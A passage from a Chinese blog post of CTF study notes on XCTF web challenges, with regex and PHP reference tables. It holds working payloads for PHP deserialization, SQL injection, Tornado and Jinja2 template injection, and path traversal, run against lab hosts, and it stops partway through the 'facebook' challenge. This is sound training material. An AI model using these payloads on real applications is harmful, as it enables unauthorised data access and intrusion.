攻防世界各类题目相关

原创

51nn3rDu5k 于 2021-01-11 21:12:21 发布 99 收藏

分类专栏： CTF比赛

本文链接：https://blog.csdn.net/weixin_43497617/article/details/108693656

攻防世界

全沾菜鸡一枚的学习记录，如有冒犯还请大佬们多多指正。

这里面的题目自己再写的时候和复现的时候，有许多的是借鉴的大佬们的文章进行复现的，但是由于太多，并没有完整的记录下那些大佬们的博客的文章，在此记录一下自己的学习记录，一方面方便自己学习，一方面帮助一些有需要的人。仍旧再次感谢许多大佬们的文章了！！！

WEB

WEB相关知识

PHP函数漏洞集合

PHP函数漏洞集合https://blog.csdn.net/qq_35078631/article/details/75200157

13个PHP魔术函数https://blog.csdn.net/mnmnwq/article/details/82462108

PHP魔法方法/函数详解https://blog.csdn.net/inqihoo/article/details/9235103?utm_medium=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-2.edu_weight&depth_1-utm_source=distribute.pc_relevant.none-task-blog-BlogCommendFromMachineLearnPai2-2.edu_weight

1.__construct()

实例化对象时被调用，当__construct和以类名为函数名的函数同时

正则相关语法

（1）直接量字符

字符	匹配

字符	匹配
字母和数字字符	自身
\o	NUL字符
\t	制表符
\n	换行符
\v	垂直制表符
\f	换页符
\r	回车符
\xnn	由十六进制数nn指定的拉丁字符，\x0A=\n
\uxxxx	由十六进制数xxxx指定的Unicode字符，\u0009=\t
\cX	控制字符^X，\cJ=\n

（2）字符类

字符	匹配
[…]	方括号内的任意字符
[^…]	不在方括号内的任意字符
.	除换行符和其他Unicode行终止符之外的任意字符
\w	任何ASCII字符组成的单词[a-zA-Z0-9_]
\W	任何不是ASCII字符组成的单词[^a-zA-Z0-9_]
\s	任何Unicode空白符
\S	任何非Unicode空白符的字符
\d	任何ASCII数字，[0-9]
\D	除了ASCII数字之外的任何字符
[\b]	退格直接量

（3）重复字符（贪婪匹配）

字符	含义
{n,m}	匹配前一项至少n次，但是不能超过m次
{n,}	匹配前一项至少n次或者更多次
{n}	匹配前一项n次
?	匹配前一项0次或者1次（可选项）{0,1}
+	匹配前一项1次或者多次{1,}
*	匹配前一项0次或者多次（不限次）{0,}

（4）选择、分组、引用字符

字符	含义
|	选择，匹配左右子表达式（从左往右，若左边匹配则忽略右边）
(…)	组合
(?:…)	只组合
\n	和第n分组第一次匹配的字符相匹配

（5）锚字符

字符	含义
^	匹配字符串的开头
$	匹配字符串的结尾
\b	匹配一个单词的边界 Eg: \bhi\b
\B	匹配非单词边界的位置
(?=p)	正向先行断言，要求接下来的字符都与p匹配，但不包括p那些字符
(?!p)	负向先行断言，要求接下来的字符不与p匹配

（6）修饰符

字符	含义
i	执行不区分大小写的匹配
g	执行全局匹配，找到所有匹配
m	多行匹配模式

（7）String对象

方法	实例	返回	特殊
search()	“JavaScript”.search(/script/i)返回4	第一个与之匹配的子串的起始位置，找不到则返回-1	不支持全局检索忽略修饰符g
replace()	text.replace(/javascript/gi,“JavaScript”) text.replace(/“([^”]*)”/, ‘“$1”’)	替换后的字符串	$数字 参数若非正则表达式，则直接搜索
match()	“1 plus 2 equals 3”.match(/\d+/g) 返回[“1”, “2”, “3”]	由匹配结果组成的数组，未匹配则返回null	非全局搜索时，a[0]存放完整匹配,a[1]存放a[0]与第一个括号括起来表达式相匹配的子串，所以a[n]存放的是$n的内容
split()	“123,456,789”.split(“,”) 返回[“123”, “456”, “789”] “1, 2, 3, 4, 5”.split(/\s*,\s*/) 返回[“1”, “2”,“3”, “4”, “5”]	拆分后的子串数组	参数是正则表达式时，可以指定分隔符，允许留白

（8）RegExp对象

方法	示例	返回	特殊
regExp()			
exec()			
test()			

例题

unserialize3

打开网址得到代码：

```
class xctf{ //类
public $flag = '111';//public定义flag变量公开可见
public function __wakeup(){
exit('bad requests');
}
?code=
```

__wakeup经常用在反序列化中，例如重新建立数据库连接，或执行其它初始化操作。所以猜测被反序列化了

但是可以看到这里没有特别对那个字符串序列化，所以把xctf类实例化后，进行反序列化利用php中的new运算符，实例化xctf

new是申请空间的操作符，一般用于类

比如定义了一个class a{public i=0;}

C= new a();相当于定义了一个基于a类的对象，这时候 c->i就是0

```
<?php
class xctf{ //类
public $flag = '111';//public定义flag变量公开可见
public function __wakeup(){
exit('bad requests');
}
}

$a = new xctf();
echo(serialize($a));
?>
```

下面是运行结果

```
O:4:"xctf":1:{s:4:"flag";s:3:"111";}
```

如果直接传参给code会被__wakeup()函数再次序列化，所以要绕过它

利用__wakeup()函数漏洞原理：当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup执行

序列化返回的字符串格式

```
O:<length>:"<class name>":<n>:{<field name 1><field value 1>...<field name n><field value n>}
```

O:表示序列化的事对象

< length >：表示序列化的类的名称长度

< class name >：表示序列化的类的名称

< n >：表示被序列化的对象的属性个数

< field name 1>：属性名

< field value 1>：属性值

所以要修改的属性值< n >，即把1改为2以上

```
O:4:"xctf":2:{s:4:"flag";s:3:"111";}
```

这里我们对比一下与原来正确的序列化后的有什么区别：

```
O:4:"xctf":1:{s:4:"flag";s:3:"111";}//正确的
O:4:"xctf":2:{s:4:"flag";s:3:"111";}//错误的
```

这里就是利用了__wakeup()函数的漏洞

传参给code得到flag

payload

```
url+/code=o:4:%22xctf%22:2:2:{s:4:%22flag%22;s:3:%22111%22;}
http://220.249.52.133:43457/?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}
```

Web_php_unserialize

题目也是就一个网址上面是一些代码

```
<?php
class Demo {
  private $file = 'index.php';
  public function __construct($file) {
    $this->file = $file;
  }
  function __destruct() {
    echo @highlight_file($this->file, true);
  }
  function __wakeup() {
    if ($this->file != 'index.php') {
      //the secret is in the fl4g.php
      $this->file = 'index.php';
    }
  }
}
if (isset($_GET['var'])) {
  $var = base64_decode($_GET['var']);
  if (preg_match('/[oc]:\d+:/i', $var)) {
    die('stop hacking!');
  } else {
    @unserialize($var);
  }
} else {
  highlight_file("index.php");
}
?>
```

这里面最为重要的是两个点

1.preg_math('/[oc]:\d+/i',$var)的绕过

2.unserialize时__wakeup()的绕过

下面是脚本

```php
<?php
class Demo {
    private $file = 'index.php';
    public function __construct($file) {
        $this->file = $file;
    }
    function __destruct() {
        echo @highlight_file($this->file, true);
    }
    function __wakeup() {
        if ($this->file != 'index.php') {
            //the secret is in the fl4g.php
            $this->file = 'index.php';
        }
    }
}
    $A = new Demo('fl4g.php');//这里定义新的变量
    $C = serialize($A);//序列化$A
    //string(49) "O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}"
    $C = str_replace('O:4', 'O:+4',$C);//绕过preg_match
    $C = str_replace(':1:', ':2:',$C);//绕过wakeup 只需要让变量数量超过真实数量就行了
    var_dump($C);//没有base64前的payload
    //string(49) "O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}"
    var_dump(base64_encode($C));
    //string(68) "TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ=="
?>
```

payload

```
?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
```

ics-06

打开网页后是一个工控云管理系统

并且所有的页面都一样，只有报表中心不一样

```
http://220.249.52.133:38959/index.php?id=1
```

并且这个有一个参数id尝试一下注入发现引号被过滤掉了

而且几乎能够尝试的注入大概试了一下没有发现注入点

因此准备爆破

用火狐设置代理burp suite 准备抓包

接着设置变量id然后设置爆破的数字段

1-10000

后面就是爆破了

知道id=2333的时候发现了数据包的长度与其它数据包的长度是不一样的我们打开数据包的Response发现flag

这道题目就是考察一个burp suite的使用其它的地方也没有什么太大的难度

payload

```
http://220.249.52.133:38959/index.php?id=2333
```

easytornado

知识点

tornado模板注入

相关文章地址：

```
https://cloud.tencent.com/developer/article/1516336
```

拿到该题目有三个文件：

```
/flag.txt
/welcome.txt
/hints.txt
```

都看了一遍我们大概了解到这个题目是想让我们干什么的了

题目告诉了我们flag文件的名称，并且还告诉了我们filehash的计算方法，cookie+filename-hash之后再进行一次hash运算得到filehash的值

我们通过查询知道了tornado有一个模板注入可以获取cookie

模板注入的payload

```
error?msg={{handler.settings}}
```

这样通过模板注入我们可以得到cookie相关的值cookie：

```
{
'autoreload': True,
'compiled_template_cache': False,
'cookie_secret': 'a819ace0-0b41-4eb1-8207-3f2b6690a6e9'
}
```

接着我们去一个在线md5加密网站上加密那个文件名为：/fllllllllllag的文件

可以得到一个cookie值：

```
文件md5值：3bf9f6cf685a6dd8defadabfb41a03a1
```

这样可以得到需要进行md5运算的最后的一串字符是：

```
a819ace0-0b41-4eb1-8207-3f2b6690a6e93bf9f6cf685a6dd8defadabfb41a03a1
```

md5运算后：

```
545f4ea6a10cd541eb50af849b6ed7d6
```

最终的payload

```
http://220.249.52.133:48717/file?filename=/fllllllllllag&filehash=545f4ea6a10cd541eb50af849b6ed7d6
```

warmup

打开网页是一个图片，我们产看源码发现提示有source.php发现源代码并且还有一个hint.php flag文件是：ffffllllaaaagggg

源代码分析：

```php
<?php
  highlight_file(__FILE__);代码高亮显示

  class emmm
  {
      public static function checkFile(&$page)       //静态函数
      {
          $whitelist = ["source"=>"source.php","hint"=>"hint.php"];//白名单
   //isset()检查变量是否设置  is_string()检查变量是不是字符串
          if (! isset($page) || !is_string($page))
          {
              echo "you can't see it";
              return false;
          }

   //这个page变量的值是否是在白名单中
          if (in_array($page, $whitelist)) {
              return true;
          }
   //mb_strpos()查找字符串在另一个字符串中首次出现的位置
          $_page = mb_substr($page,0,mb_strpos($page . '?', '?'));、
          //这个函数是截取page中?前面的字符串
          if (in_array($_page, $whitelist)) {
              return true;
          }

          $_page = urldecode($page);//url解码一次
          $_page = mb_substr($_page,0,mb_strpos($_page . '?', '?'));

          if (in_array($_page, $whitelist))
          {
              return true;
          }
          echo "you can't see it";
          return false;
      }
  }
//下面的这个if的意思是
//request()默认情况下包含了 $_GET，$_POST 和 $_COOKIE 的数组。不是很安全的一个函数
  if (! empty($_REQUEST['file'])&&is_string($_REQUEST['file'])&&emmm::checkFile($_REQUEST['file']))
  {
      include $_REQUEST['file'];
      exit;
  }
  else
  {
      echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
  }
?>
```

这道题目就是需要满足传入的file是等于hint或者source就可以但是后面可以采用路径穿越进行访问flag

payload

```
http://220.249.52.133:43358/?file=hint.php?/../../../../ffffllllaaaagggg
http://220.249.52.133:43358/?file=hint.php%253f/../../../../ffffllllaaaagggg
http://220.249.52.133:43358/?file=source.php%253f../../../../../ffffllllaaaagggg
```

NewsCenter

拿到题目打开网页发现一个搜索框，先尝试一下是否用sql注入后续发现是有sql注入的

```
1' union select 1,2,3#
```

这里还是显示正常的，但是4就显示不正常了，因此是有三个数据库的

接下来我们可以来查询一下其它的相关信息：

```
1' union select 1,table_schema,table_name from information_schema.columns#
```

这个可以查出表名

```
1' union select 1,2,table_name from information_schema.columns#
```

这个也是可以的没有上面的那个更加清楚一点

接着我们发现了一个叫做

下面的结果是以上面的payload为

```
information_schema
CHARACTER_SETS
information_schema
COLLATIONS
information_schema
COLLATION_CHARACTER_SET_APPLICABILITY
information_schema
COLUMNS
information_schema
COLUMN_PRIVILEGES
information_schema
ENGINES
information_schema
EVENTS
information_schema
FILES
information_schema
GLOBAL_STATUS
information_schema
GLOBAL_VARIABLES
information_schema
KEY_COLUMN_USAGE
information_schema
PARAMETERS
information_schema
PARTITIONS
information_schema
PLUGINS
information_schema
PROCESSLIST
information_schema
PROFILING
information_schema
REFERENTIAL_CONSTRAINTS
```

```
information_schema
ROUTINES
information_schema
SCHEMATA
information_schema
SCHEMA_PRIVILEGES
information_schema
SESSION_STATUS
information_schema
SESSION_VARIABLES
information_schema
STATISTICS
information_schema
TABLES
information_schema
TABLESPACES
information_schema
TABLE_CONSTRAINTS
information_schema
TABLE_PRIVILEGES
information_schema
TRIGGERS
information_schema
USER_PRIVILEGES
information_schema
VIEWS
information_schema
INNODB_BUFFER_PAGE
information_schema
INNODB_TRX
information_schema
INNODB_BUFFER_POOL_STATS
information_schema
INNODB_LOCK_WAITS
information_schema
INNODB_CMPMEM
information_schema
INNODB_CMP
information_schema
INNODB_LOCKS
information_schema
INNODB_CMPMEM_RESET
information_schema
INNODB_CMP_RESET
information_schema
INNODB_BUFFER_PAGE_LRU
news
news
news
secret_table
```

这里我们发现有一个secret_table可以重点关注一下

接着去爆字段名：

```
1' union select 1,column_name,data_type from information_schema.columns where table_name='secret_table'#
```

得到：

```
id
int
fl4g
varcha
```

我们能够得到id和fl4g

接下来就是查看fl4g了

```
1' union select 1,2,fl4g from secret_table#
```

得到：

```
2
QCTF{sq1_inJec7ion_ezzz}
```

web2

拿到题目又是一个源代码审计的问题，应该是：

```
<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";

function encode($str){
    $_o=strrev($str);//1.反转字符
    // echo $_o;
    //2.逐位提取各位上的字符转换为ascii码后+1
    for($_0=0;$_0<strlen($_o);$_0++){

        $_c=substr($_o,$_0,1);
        $__=ord($_c)+1;
        $_c=chr($__);
        $_=$_.$_c;
    }
    //这一步有点多，显示base64加密一下，接着字符串反向一下最后在来一次rot13加密
    return str_rot13(strrev(base64_encode($_)));
}

highlight_file(__FILE__);
/*
    逆向加密算法，解密$miwen就是flag
*/
?>
```

这道题目更像是逆向，看一下它的加密逻辑：

1、反转字符串

2、逐位提取各位上的字符转换为ascii后+1

3、进行base64加密

4、反转字符串

5、rot13加密

6、输出密文

下面是我们的解密逻辑：

1.rot13解密

2.反转字符串

3.进行base64解码

4.提取各个字符转换为ascii码后都-1

5.反转一下字符

6.输出明文

下面是i解密脚本

```
import base64
def rot13(s,offset=13):
 def encodeCh(ch):
  f = lambda x:chr((ord(ch)-x+offset)%26+x)
  return f(97) if ch.islower() else (f(65) if ch.isupper()else ch)
 return ''.join(encodeCh(c) for c in s)


def main():
    miwen = 'a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws'
    miwen = rot13(miwen)#先进行一次rot13加密
    miwen = miwen[::-1]#接着倒序进行一次
    miwen = base64.b64decode(miwen)#进行base64解码
    miwen = str(miwen,'utf-8')
    print(miwen)
    mingwen = ""
    #提取各个字符转换为ascii码之后都-1
    for _0 in range(0, len(miwen)):
        _c = ord(miwen[_0])
        fuck = (_c)-1
        mingwen+=(chr(fuck))
    print(mingwen[::-1])#反转一下字符串
if __name__ == '__main__':
    main()
```

shrine

```
import flask
import os
app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')
#注册了一个名为flag的config,猜测这就是flag,但是下面有一个黑名单过滤了config和self并且还过滤了括号

@app.route('/')#访问主页面就是返回源代码
def index():
    return open(__file__).read()

@app.route('/shrine/')#访问该路径可以触发模板注入
def shrine(shrine):
    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')#过滤括号
        blacklist = ['config', 'self']#过滤config和self
        #下面这行代码的含义是把黑名单的东西遍历一遍并且替换为空
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
    return flask.render_template_string(safe_jinja(shrine))

if __name__ == '__main__':
    app.run(debug=True)
```

看到题目导入了flask想到模板注入

再根据代码分析先测试一波看有没有模板注入

```
http://220.249.52.133:57648/shrine/{{2+2}}
```

发现页面返回4说明存在模板注入

并且也过滤了config和self和括号

但是别忘了还有python的内置函数可以使用，比如说url_for和get_flashed_messages

```
http://220.249.52.133:57648/shrine/{{url_for.__globals__}}
```

得到

```
{'find_package': <function find_package at 0x7f3a17d4f140>,
'_find_package_path': <function _find_package_path at 0x7f3a17d4f0c8>,
'get_load_dotenv': <function get_load_dotenv at 0x7f3a17e71a28>,
'_PackageBoundObject': <class 'flask.helpers._PackageBoundObject'>,
'current_app': <Flask 'app'>,
'PY2': True,
'send_from_directory': <function send_from_directory at 0x7f3a17e71ed8>,
'session': <NullSession {}>,
'io': <module 'io' from '/usr/local/lib/python2.7/io.pyc'>,
'get_flashed_messages': <function get_flashed_messages at 0x7f3a17e71d70>,
'BadRequest': <class 'werkzeug.exceptions.BadRequest'>,
'is_ip': <function is_ip at 0x7f3a17d4f7d0>,  'pkgutil'<module'pkgutil'from'/usr/local/lib/python2.7/pkgutil.pyc'>,
'BuildError': <class 'werkzeug.routing.BuildError'>,
'url_quote': <function url_quote at 0x7f3a180c1aa0>,
'FileSystemLoader': <class 'jinja2.loaders.FileSystemLoader'>,
'get_root_path': <function get_root_path at 0x7f3a17e71f50>,
'__package__': 'flask', 'locked_cached_property': <class 'flask.helpers.locked_cached_property'>,
'_app_ctx_stack': <werkzeug.local.LocalStack object at 0x7f3a17ea1750>,
'_endpoint_from_view_func': <function _endpoint_from_view_func at 0x7f3a17e71aa0>,
'total_seconds': <function total_seconds at 0x7f3a17d4f1b8>,
'fspath': <function fspath at 0x7f3a17e91e60>,
```

```
'get_env': <function get_env at 0x7f3a17e716e0>,
'RequestedRangeNotSatisfiable': <class 'werkzeug.exceptions.RequestedRangeNotSatisfiable'>,
'flash': <function flash at 0x7f3a17e71cf8>,
'mimetypes': <module 'mimetypes' from '/usr/local/lib/python2.7/mimetypes.pyc'>,
'adler32': <built-in function adler32>,
'get_template_attribute': <function get_template_attribute at 0x7f3a17e71c80>,
'_request_ctx_stack': <werkzeug.local.LocalStack object at 0x7f3a17e96290>,
'__builtins__':
{
    'bytearray': <type 'bytearray'>,
    'IndexError': <type 'exceptions.IndexError'>,
    'all': <built-in function all>,
    'help': Type help() for interactive help, or help(object) for help about object.,
    'vars': <built-in function vars>,
    'SyntaxError': <type 'exceptions.SyntaxError'>,
    'unicode': <type 'unicode'>,
    'UnicodeDecodeError': <type 'exceptions.UnicodeDecodeError'>,
    'memoryview': <type 'memoryview'>,
    'isinstance': <built-in function isinstance>,
    'copyright': Copyright (c) 2001-2019 Python Software Foundation. All Rights Reserved. Copyright (c) 2000 BeOpen.com. All Rights Reserv
ed. Copyright (c) 1995-2001 Corporation for National Research Initiatives. All Rights Reserved. Copyright (c) 1991-1995 Stichting Mathematis
ch Centrum, Amsterdam. All Rights Reserved.,
    'NameError': <type 'exceptions.NameError'>,
    'BytesWarning': <type 'exceptions.BytesWarning'>,
    'dict': <type 'dict'>, 'input': <built-in function input>,
    'oct': <built-in function oct>,
    'bin': <built-in function bin>,
    'SystemExit': <type 'exceptions.SystemExit'>,
    'StandardError': <type 'exceptions.StandardError'>,
    'format': <built-in function format>,
    'repr': <built-in function repr>,
    'sorted': <built-in function sorted>,
    'False': False,
    'RuntimeWarning': <type 'exceptions.RuntimeWarning'>,
    'list': <type 'list'>,
    'iter': <built-in function iter>,
    'reload': <built-in function reload>,
    'Warning': <type 'exceptions.Warning'>,
    '__package__': None,
    'round': <built-in function round>,
    'dir': <built-in function dir>,
    'cmp': <built-in function cmp>,
    'set': <type 'set'>,
    'bytes': <type 'str'>,
    'reduce': <built-in function reduce>,
    'intern': <built-in function intern>,
    'issubclass': <built-in function issubclass>,
    'Ellipsis': Ellipsis,
    'EOFError': <type 'exceptions.EOFError'>,
    'locals': <built-in function locals>,
    'BufferError': <type 'exceptions.BufferError'>,
    'slice': <type 'slice'>,
    'FloatingPointError': <type 'exceptions.FloatingPointError'>,
    'sum': <built-in function sum>,
    'getattr': <built-in function getattr>,
    'abs': <built-in function abs>,
    'exit': Use exit() or Ctrl-D (i.e. EOF) to exit,
    'print': <built-in function print>,
    'True': True,
```

```
    'FutureWarning': <type 'exceptions.FutureWarning'>,
    'ImportWarning': <type 'exceptions.ImportWarning'>,
    'None': None,
    'hash': <built-in function hash>,
    'ReferenceError': <type 'exceptions.ReferenceError'>,
    'len': <built-in function len>,
    'credits': Thanks to CWI, CNRI, BeOpen.com, Zope Corporation and a cast of thousands for supporting Python development. See www.pyth
on.org for more information.,
    'frozenset': <type 'frozenset'>,
    '__name__': '__builtin__',
    'ord': <built-in function ord>,
    'super': <type 'super'>,
    'TypeError': <type 'exceptions.TypeError'>,
    'license': Type license() to see the full license text,
    'KeyboardInterrupt': <type 'exceptions.KeyboardInterrupt'>,
    'UserWarning': <type 'exceptions.UserWarning'>,
    'filter': <built-in function filter>,
    'range': <built-in function range>,
    'staticmethod': <type 'staticmethod'>,
    'SystemError': <type 'exceptions.SystemError'>,
    'BaseException': <type 'exceptions.BaseException'>,
    'pow': <built-in function pow>,
    'RuntimeError': <type 'exceptions.RuntimeError'>,
    'float': <type 'float'>,
    'MemoryError': <type 'exceptions.MemoryError'>,
    'StopIteration': <type 'exceptions.StopIteration'>,
    'globals': <built-in function globals>,
    'divmod': <built-in function divmod>,
    'enumerate': <type 'enumerate'>,
    'apply': <built-in function apply>,
    'LookupError': <type 'exceptions.LookupError'>,
    'open': <built-in function open>,
    'quit': Use quit() or Ctrl-D (i.e. EOF) to exit,
    'basestring': <type 'basestring'>,
    'UnicodeError': <type 'exceptions.UnicodeError'>,
    'zip': <built-in function zip>,
    'hex': <built-in function hex>,
    'long': <type 'long'>,
    'next': <built-in function next>,
    'ImportError': <type 'exceptions.ImportError'>,
    'chr': <built-in function chr>,
    'xrange': <type 'xrange'>,
    'type': <type 'type'>,
    '__doc__': "Built-in functions, exceptions, and other objects.\n\nNoteworthy: None is the `nil' object; Ellipsis represents `...' in slices.", 'Excep
tion': <type 'exceptions.Exception'>, 'tuple': <type 'tuple'>, 'UnicodeTranslateError': <type 'exceptions.UnicodeTranslateError'>, 'reversed': <typ
e 'reversed'>, 'UnicodeEncodeError': <type 'exceptions.UnicodeEncodeError'>, 'IOError': <type 'exceptions.IOError'>, 'hasattr': <built-in functio
n hasattr>, 'delattr': <built-in function delattr>, 'setattr': <built-in function setattr>, 'raw_input': <built-in function raw_input>, 'SyntaxWarning': <ty
pe 'exceptions.SyntaxWarning'>, 'compile': <built-in function compile>, 'ArithmeticError': <type 'exceptions.ArithmeticError'>, 'str': <type 'str'>, 'p
roperty': <type 'property'>, 'GeneratorExit': <type 'exceptions.GeneratorExit'>, 'int': <type 'int'>, '__import__': <built-in function __import__>, 'Ke
yError': <type 'exceptions.KeyError'>, 'coerce': <built-in function coerce>, 'PendingDeprecationWarning': <type 'exceptions.PendingDeprecatio
nWarning'>, 'file': <type 'file'>, 'EnvironmentError': <type 'exceptions.EnvironmentError'>, 'unichr': <built-in function unichr>, 'id': <built-in functio
n id>, 'OSError': <type 'exceptions.OSError'>, 'DeprecationWarning': <type 'exceptions.DeprecationWarning'>, 'min': <built-in function min>, 'U
nicodeWarning': <type 'exceptions.UnicodeWarning'>, 'execfile': <built-in function execfile>, 'any': <built-in function any>, 'complex': <type 'com
plex'>, 'bool': <type 'bool'>, 'ValueError': <type 'exceptions.ValueError'>, 'NotImplemented': NotImplemented, 'map': <built-in function map>, 'buf
fer': <type 'buffer'>, 'max': <built-in function max>, 'object': <type 'object'>, 'TabError': <type 'exceptions.TabError'>, 'callable': <built-in function
callable>, 'ZeroDivisionError': <type 'exceptions.ZeroDivisionError'>, 'eval': <built-in function eval>, '__debug__': True, 'IndentationError': <type
 'exceptions.IndentationError'>, 'AssertionError': <type 'exceptions.AssertionError'>, 'classmethod': <type 'classmethod'>, 'UnboundLocalError':
 <type 'exceptions.UnboundLocalError'>, 'NotImplementedError': <type 'exceptions.NotImplementedError'>, 'AttributeError': <type 'exceptions.At
tributeError'>, 'OverflowError': <type 'exceptions.OverflowError'>}, 'text_type': <type 'unicode'>, '__file__': '/usr/local/lib/python2.7/site-package
s/flask/helpers.pyc', 'get_debug_flag': <function get_debug_flag at 0x7f3a17e717d0>, 'RLock': <function RLock at 0x7f3a187992a8>, 'safe_joi
```

n': <function safe_join at 0x7f3a17e71e60>, 'sys': <module 'sys' (built-in)>, 'Headers': <class 'werkzeug.datastructures.Headers'>, 'stream_with_context': <function stream_with_context at 0x7f3a17e71b18>, '_os_alt_seps': [], '__name__': 'flask.helpers', '_missing': <object object at 0x7f3a188fd1b0>, 'posixpath': <module 'posixpath' from '/usr/local/lib/python2.7/posixpath.pyc'>, 'NotFound': <class 'werkzeug.exceptions.NotFound'>, 'unicodedata': <module 'unicodedata' from '/usr/local/lib/python2.7/lib-dynload/unicodedata.so'>, 'wrap_file': <function wrap_file at 0x7f3a180d7668>, 'socket': <module 'socket' from '/usr/local/lib/python2.7/socket.pyc'>, 'update_wrapper': <function update_wrapper at 0x7f3a187e41b8>, 'make_response': <function make_response at 0x7f3a17e71b90>, 'request': <Request 'http://220.249.52.133:57648/shrine/%7B%7Burl_for.__globals__%7D%7D' [GET]>, 'string_types': (<type 'str'>, <type 'unicode'>), 'message_flashed': <flask.signals._FakeSignal object at 0x7f3a17d4d210>, '__doc__': '\n flask.helpers\n ~~~~~~~~~~~~~~\n\n Implements various helpers.\n\n :copyright: 2010 Pallets\n :license: BSD-3-Clause\n', 'send_file': <function send_file at 0x7f3a17e71de8>, 'time': <built-in function time>, 'url_for': <function url_for at 0x7f3a17e71c08>, '_matching_loader_thinks_module_is_package': <function _matching_loader_thinks_module_is_package at 0x7f3a17d4f050>, 'os': <module 'os' from '/usr/local/lib/python2.7/os.pyc'>}

```
http://220.249.52.133:57648/shrine/{{url_for.__globals__['current_app'].config}}
```

得到


```
<Config {'JSON_AS_ASCII': True,
        'USE_X_SENDFILE': False,
        'SESSION_COOKIE_SECURE': False,
        'SESSION_COOKIE_PATH': None,
        'SESSION_COOKIE_DOMAIN': None,
        'SESSION_COOKIE_NAME': 'session',
        'MAX_COOKIE_SIZE': 4093,
        'SESSION_COOKIE_SAMESITE': None,
        'PROPAGATE_EXCEPTIONS': None,
        'ENV': 'production',
        'DEBUG': False,
        'SECRET_KEY': None,
        'EXPLAIN_TEMPLATE_LOADING': False,
        'MAX_CONTENT_LENGTH': None,
        'APPLICATION_ROOT': '/',
        'SERVER_NAME': None,
        'FLAG': 'flag{shrine_is_good_ssti}',
        'PREFERRED_URL_SCHEME': 'http',
        'JSONIFY_PRETTYPRINT_REGULAR': False,
        'TESTING': False,
        'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31),
        'TEMPLATES_AUTO_RELOAD': None,
        'TRAP_BAD_REQUEST_ERRORS': None,
        'JSON_SORT_KEYS': True,
        'JSONIFY_MIMETYPE': 'application/json',
        'SESSION_COOKIE_HTTPONLY': True,
        'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(0, 43200),
        'PRESERVE_CONTEXT_ON_EXCEPTION': None,
        'SESSION_REFRESH_EACH_REQUEST': True,
        'TRAP_HTTP_EXCEPTIONS': False}>
```


get flashed messages

返回之前在flask中通过flash()传入的闪现信息列表，把字符串对象表示的消息加入到一个消息队列中，然后通过调用get_flashed_messages()方法取出（闪现信息只能取出一次，取出后闪现信息会被清空）

```
/shrine/{{get_flashed_messages.__globals__['current_app'].config}}
```

```
<Config {'JSON_AS_ASCII': True,
    'USE_X_SENDFILE': False,
    'SESSION_COOKIE_SECURE': False,
    'SESSION_COOKIE_PATH': None,
    'SESSION_COOKIE_DOMAIN': None,
    'SESSION_COOKIE_NAME': 'session',
    'MAX_COOKIE_SIZE': 4093,
    'SESSION_COOKIE_SAMESITE': None,
    'PROPAGATE_EXCEPTIONS': None,
    'ENV': 'production',
    'DEBUG': False,
    'SECRET_KEY': None,
    'EXPLAIN_TEMPLATE_LOADING': False,
    'MAX_CONTENT_LENGTH': None,
    'APPLICATION_ROOT': '/',
    'SERVER_NAME': None,
    'FLAG': 'flag{shrine_is_good_ssti}',
    'PREFERRED_URL_SCHEME': 'http',
    'JSONIFY_PRETTYPRINT_REGULAR': False,
    'TESTING': False,
    'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31),
    'TEMPLATES_AUTO_RELOAD': None,
    'TRAP_BAD_REQUEST_ERRORS': None,
    'JSON_SORT_KEYS': True,
    'JSONIFY_MIMETYPE': 'application/json',
    'SESSION_COOKIE_HTTPONLY': True,
    'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(0, 43200),
    'PRESERVE_CONTEXT_ON_EXCEPTION': None,
    'SESSION_REFRESH_EACH_REQUEST': True,
    'TRAP_HTTP_EXCEPTIONS': False}>
```

facebook

打开网页首先就是一个类似于脸书的界面然后是一个登录框和一个注册框，显示尝试了一下注入，感觉没戏，接着去查看一下其它的路径，有一个user.php.bak文件可以下载，下载后是源代码

```php
<?php

class UserInfo
{//三个公共变量没有passwd这个变量
    public $name = "";
    public $age = 0;
    public $blog = "";

    //下面这个魔术函数：实例化对象时被调用，当__construct以类名为函数名的函数同时存在时，该函数被调用，另一个不被调用
    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();//初始化一个curl会话
        curl_setopt($ch, CURLOPT_URL, $url);//设置需要抓取的url
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);//设置curl参数，要求结果保存到字符串还是输出到屏幕上
        $output = curl_exec($ch);//运行curl，请求网页
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);//获取一个curl链接资源句柄的信息
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);
        return $output;
    }

    public function getBlogContents ()
    {//函数作用：获取博客内容
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {//该函数判断blog是不是无效的
        $blog = $this->blog;
        //下面的正则匹配是
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    #这个正则的意思是：
    }
}
```

正则语法

```
^xxxx$表示匹配开头和结尾，  \S匹配非空白字符串    \i表示忽略大小写
```

我们先尝试一下各个部分的功能，发现join后有view.php的no参数存在注入：

先是order by尝试查出列数

```
